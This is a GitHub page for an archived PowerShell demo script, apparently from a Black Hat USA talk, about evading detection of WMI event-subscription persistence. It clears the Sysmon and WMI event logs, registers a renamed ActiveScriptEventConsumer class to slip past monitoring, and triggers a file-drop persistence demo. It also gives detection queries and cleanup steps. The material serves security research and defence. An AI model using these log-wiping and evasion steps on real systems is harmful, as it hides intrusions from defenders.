This repository has been archived by the owner on Sep 13, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 24
/
Copy pathBHUSADemo.ps1
46 lines (33 loc) · 1.83 KB
/
BHUSADemo.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# Clear Sysmon and WMI activity event logs
wevtutil cl Microsoft-Windows-Sysmon/Operational
wevtutil cl Microsoft-Windows-WMI-Activity/Operational
# Show WMI events being captured in Sysmon
.\Sysmon64.exe -c
# Load WMI evasion code
. .\WmiEventConsumerClassDerivation.ps1
# Create ActiveScriptEventConsumer class in root/Foo namespace
New-ActiveScriptEventConsumerClass -Namespace Foo -ClassName NotAnActiveScriptEventConsumer
New-Item C:\Windows\Temp\wmifiledrop.txt
# Execute WMIEvasionDemo.ps1
. .\WMIEvasionDemo.ps1
# Observe WMI persistence execution
Get-Content C:\Windows\Temp\wmifiledrop.txt -Wait
# Retrieve FilterToConsumerBinding events
Get-WinEvent -FilterHashTable @{ LogName = 'Microsoft-Windows-Sysmon/Operational'; Id = 21 }
# Generic Win10 detection
Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-WMI-Activity/Operational'; Id = 5861 } |
Select -ExpandProperty Message
<# Cleanup
# Remove persistence
$TargetNamespace = 'root/Foo'
Get-WmiObject -Namespace $TargetNamespace -Class __IntervalTimerInstruction | Remove-WmiObject
Get-WmiObject -Namespace $TargetNamespace -Class __FilterToConsumerBinding | Remove-WmiObject
Get-WmiObject -Namespace $TargetNamespace -Class NotAnActiveScriptEventConsumer | Remove-WmiObject
Get-WmiObject -Namespace $TargetNamespace -Class __EventFilter | Remove-WmiObject
# Remove ActiveScriptEventConsumer definition/registration
$NewActiveScriptEventConsumer = Get-WmiObject -Namespace $TargetNamespace -Class Meta_Class -Filter "__CLASS = 'NotAnActiveScriptEventConsumer'"
$NewActiveScriptEventConsumer.Delete()
Get-CimInstance -Namespace $TargetNamespace -ClassName __Win32Provider -Filter 'Name = "NotAnActiveScriptEventConsumer"' | Remove-CimInstance
Get-CimInstance -Namespace root -ClassName __NAMESPACE -Filter 'Name = "Foo"' | Remove-CimInstance
rm C:\Windows\Temp\wmifiledrop.txt
#>